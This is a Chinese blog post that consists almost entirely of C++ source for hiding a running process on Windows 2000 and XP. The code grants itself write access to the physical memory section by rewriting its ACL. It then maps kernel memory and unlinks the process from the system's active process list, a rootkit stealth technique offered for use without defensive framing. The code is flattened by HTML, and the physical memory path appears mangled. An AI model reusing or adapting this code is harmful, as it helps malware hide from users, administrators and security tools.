在2000和xp下隐藏进程

太过爱你忘了你带给我的痛 2022-09-30 12:44 154阅读 0赞

<table> 
 <tbody> 
 <tr> 
 <td> 如何在windows2000和windows xp下隐藏进程，下面的代码实现了这个功能。 头文件： // //HideProcess.h BOOL HideProcess(); &nbsp; </td> 
 </tr> 
 <tr> 
 <td style="FONT-SIZE: 14px; COLOR: black; font-height: 25px"> CPP源文件： / //HideProcess.cpp #include&lt;windows.h&gt; #include&lt;Accctrl.h&gt; #include&lt;Aclapi.h&gt; #include"HideProcess.h" #define NT_SUCCESS(Status)((NTSTATUS)(Status) &gt;= 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { &nbsp;&nbsp;&nbsp; NTSTATUS Status; &nbsp;&nbsp;&nbsp; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING { &nbsp;&nbsp;&nbsp; USHORT Length; &nbsp;&nbsp;&nbsp; USHORT MaximumLength; &nbsp;&nbsp;&nbsp; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000002L #define OBJ_PERMANENT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000010L #define OBJ_EXCLUSIVE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000020L #define OBJ_CASE_INSENSITIVE&nbsp;&nbsp;&nbsp; 0x00000040L #define OBJ_OPENIF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000080L #define OBJ_OPENLINK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000100L #define OBJ_KERNEL_HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000200L #define OBJ_VALID_ATTRIBUTES&nbsp;&nbsp;&nbsp; 0x000003F2L typedef struct _OBJECT_ATTRIBUTES { &nbsp;&nbsp;&nbsp; ULONG Length; &nbsp;&nbsp;&nbsp; HANDLE RootDirectory; &nbsp;&nbsp;&nbsp; PUNICODE_STRING ObjectName; &nbsp;&nbsp;&nbsp; ULONG Attributes; &nbsp;&nbsp;&nbsp; PVOID SecurityDescriptor; &nbsp;&nbsp;&nbsp; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( &nbsp;&nbsp;&nbsp; OUT PHANDLE SectionHandle, &nbsp;&nbsp;&nbsp; IN ACCESS_MASK DesiredAccess, &nbsp;&nbsp;&nbsp; IN POBJECT_ATTRIBUTES ObjectAttributes &nbsp;&nbsp;&nbsp; ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)( &nbsp;&nbsp;&nbsp; IN OUT PUNICODE_STRING DestinationString, &nbsp;&nbsp;&nbsp; IN PCWSTR SourceString &nbsp;&nbsp;&nbsp; ); RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL; OSVERSIONINFO g_osvi; //--------------------------------------------------------------------------- BOOL InitNTDLL() { &nbsp;&nbsp;&nbsp; g_hNtDLL = LoadLibrary("ntdll.dll"); &nbsp;&nbsp;&nbsp; if (NULL == g_hNtDLL) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE; &nbsp;&nbsp;&nbsp; RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); &nbsp;&nbsp;&nbsp; ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); &nbsp;&nbsp;&nbsp; return TRUE; } //--------------------------------------------------------------------------- VOID CloseNTDLL() { &nbsp;&nbsp;&nbsp; if(NULL != g_hNtDLL) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FreeLibrary(g_hNtDLL); &nbsp;&nbsp;&nbsp; g_hNtDLL = NULL; } //--------------------------------------------------------------------------- VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) { &nbsp;&nbsp;&nbsp; PACL pDacl&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = NULL; &nbsp;&nbsp;&nbsp; PSECURITY_DESCRIPTOR pSD&nbsp;&nbsp;&nbsp; = NULL; &nbsp;&nbsp;&nbsp; PACL pNewDacl = NULL; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &amp;pDacl, NULL, &amp;pSD); &nbsp;&nbsp;&nbsp; if(ERROR_SUCCESS != dwRes) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; if(pSD) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pSD); &nbsp;&nbsp;&nbsp; if(pNewDacl) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pNewDacl); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; EXPLICIT_ACCESS ea; &nbsp;&nbsp;&nbsp; RtlZeroMemory(&amp;ea, sizeof(EXPLICIT_ACCESS)); &nbsp;&nbsp;&nbsp; ea.grfAccessPermissions = SECTION_MAP_WRITE; &nbsp;&nbsp;&nbsp; ea.grfAccessMode = GRANT_ACCESS; &nbsp;&nbsp;&nbsp; ea.grfInheritance= NO_INHERITANCE; &nbsp;&nbsp;&nbsp; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; &nbsp;&nbsp;&nbsp; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; &nbsp;&nbsp;&nbsp; ea.Trustee.ptstrName = "CURRENT_USER"; &nbsp;&nbsp;&nbsp; dwRes = SetEntriesInAcl(1,&amp;ea,pDacl,&amp;pNewDacl); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(ERROR_SUCCESS != dwRes) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; if(pSD) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pSD); &nbsp;&nbsp;&nbsp; if(pNewDacl) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pNewDacl); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; dwRes = SetSecurityInfo (hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(ERROR_SUCCESS != dwRes) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp; if(pSD) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pSD); &nbsp;&nbsp;&nbsp; if(pNewDacl) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LocalFree(pNewDacl); &nbsp;&nbsp;&nbsp; } } //--------------------------------------------------------------------------- HANDLE OpenPhysicalMemory() { &nbsp;&nbsp;&nbsp; NTSTATUS status; &nbsp;&nbsp;&nbsp; UNICODE_STRING physmemString; &nbsp;&nbsp;&nbsp; OBJECT_ATTRIBUTES attributes; &nbsp;&nbsp;&nbsp; ULONG PhyDirectory; &nbsp;&nbsp;&nbsp; g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &nbsp;&nbsp;&nbsp; GetVersionEx (&amp;g_osvi); &nbsp;&nbsp;&nbsp; if (5 != g_osvi.dwMajorVersion) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL; &nbsp;&nbsp;&nbsp; switch(g_osvi.dwMinorVersion) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 0: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PhyDirectory = 0x30000; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; //2k &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case 1: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PhyDirectory = 0x39000; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break; //xp &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; RtlInitUnicodeString(&amp;physmemString, L"//Device//PhysicalMemory"); &nbsp;&nbsp;&nbsp; attributes.Length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = sizeof(OBJECT_ATTRIBUTES); &nbsp;&nbsp;&nbsp; attributes.RootDirectory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = NULL; &nbsp;&nbsp;&nbsp; attributes.ObjectName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = &amp;physmemString; &nbsp;&nbsp;&nbsp; attributes.Attributes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 0; &nbsp;&nbsp;&nbsp; attributes.SecurityDescriptor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = NULL; &nbsp;&nbsp;&nbsp; attributes.SecurityQualityOfService&nbsp;&nbsp;&nbsp; = NULL; &nbsp;&nbsp;&nbsp; status = ZwOpenSection(&amp;g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &amp;attributes); &nbsp;&nbsp;&nbsp; if(status == STATUS_ACCESS_DENIED) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; status = ZwOpenSection(&amp;g_hMPM, READ_CONTROL|WRITE_DAC, &amp;attributes); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SetPhyscialMemorySectionCanBeWrited(g_hMPM); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle(g_hMPM); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; status = ZwOpenSection(&amp;g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &amp;attributes); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; if(!NT_SUCCESS(status)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL; &nbsp;&nbsp;&nbsp; g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory, 0x1000); &nbsp;&nbsp;&nbsp; if( g_pMapPhysicalMemory == NULL ) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL; &nbsp;&nbsp;&nbsp; return g_hMPM; } //--------------------------------------------------------------------------- PVOID LinearToPhys(PULONG BaseAddress, PVOID addr) { &nbsp;&nbsp;&nbsp; ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr; &nbsp;&nbsp;&nbsp; PGDE = BaseAddress[VAddr&gt;&gt;22]; &nbsp;&nbsp;&nbsp; if (0 == (PGDE&amp;1)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0; &nbsp;&nbsp;&nbsp; ULONG tmp = PGDE &amp; 0x00000080; &nbsp;&nbsp;&nbsp; if (0 != tmp) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAddr = (PGDE &amp; 0xFFC00000) + (VAddr &amp; 0x003FFFFF); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; else &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE &amp; 0xfffff000, 0x1000); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PTE = ((PULONG)PGDE)[(VAddr&amp;0x003FF000)&gt;&gt;12]; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (0 == (PTE&amp;1)) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAddr=(PTE&amp;0xFFFFF000)+(VAddr&amp;0x00000FFF); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnmapViewOfFile((PVOID)PGDE); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; return (PVOID)PAddr; } //--------------------------------------------------------------------------- ULONG GetData(PVOID addr) { &nbsp;&nbsp;&nbsp; ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); &nbsp;&nbsp;&nbsp; PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &amp; 0xfffff000, 0x1000); &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (0 == tmp) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0; &nbsp;&nbsp;&nbsp; ULONG ret = tmp[(phys &amp; 0xFFF)&gt;&gt;2]; &nbsp;&nbsp;&nbsp; UnmapViewOfFile(tmp); &nbsp;&nbsp;&nbsp; return ret; } //--------------------------------------------------------------------------- BOOL SetData(PVOID addr,ULONG data) { &nbsp;&nbsp;&nbsp; ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr); &nbsp;&nbsp;&nbsp; PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys &amp; 0xfffff000, 0x1000); &nbsp;&nbsp;&nbsp; if (0 == tmp) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE; &nbsp;&nbsp;&nbsp; tmp[(phys &amp; 0xFFF)&gt;&gt;2] = data; &nbsp;&nbsp;&nbsp; UnmapViewOfFile(tmp); &nbsp;&nbsp;&nbsp; return TRUE; } //--------------------------------------------------------------------------- long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp) { &nbsp;&nbsp; ExitProcess(0); &nbsp;&nbsp; return 1 ; } //--------------------------------------------------------------------------- BOOL YHideProcess() { //&nbsp;&nbsp;&nbsp; SetUnhandledExceptionFilter(exeception); &nbsp;&nbsp;&nbsp; if (FALSE == InitNTDLL()) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE; &nbsp;&nbsp;&nbsp; if (0 == OpenPhysicalMemory()) &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE; &nbsp;&nbsp;&nbsp; ULONG thread&nbsp; = GetData((PVOID)0xFFDFF124); //kteb &nbsp;&nbsp;&nbsp; ULONG process = GetData(PVOID(thread + 0x44)); //kpeb &nbsp;&nbsp;&nbsp; ULONG fw, bw; &nbsp;&nbsp;&nbsp; if (0 == g_osvi.dwMinorVersion) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fw = GetData(PVOID(process + 0xa0)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bw = GetData(PVOID(process + 0xa4));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp; if (1 == g_osvi.dwMinorVersion) &nbsp;&nbsp;&nbsp; { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fw = GetData(PVOID(process + 0x88)); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bw = GetData(PVOID(process + 0x8c)); &nbsp;&nbsp;&nbsp; } &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; SetData(PVOID(fw + 4), bw); &nbsp;&nbsp;&nbsp; SetData(PVOID(bw), fw); &nbsp;&nbsp;&nbsp; CloseHandle(g_hMPM); &nbsp;&nbsp;&nbsp; CloseNTDLL(); &nbsp;&nbsp;&nbsp; return TRUE; } BOOL HideProcess() { &nbsp;static BOOL b_hide = false; &nbsp;if (!b_hide) &nbsp;{ &nbsp;&nbsp;b_hide = true; &nbsp;&nbsp;YHideProcess(); &nbsp;&nbsp;return true; &nbsp;} &nbsp;return true; } </td> 
 </tr> 
 </tbody> 
</table>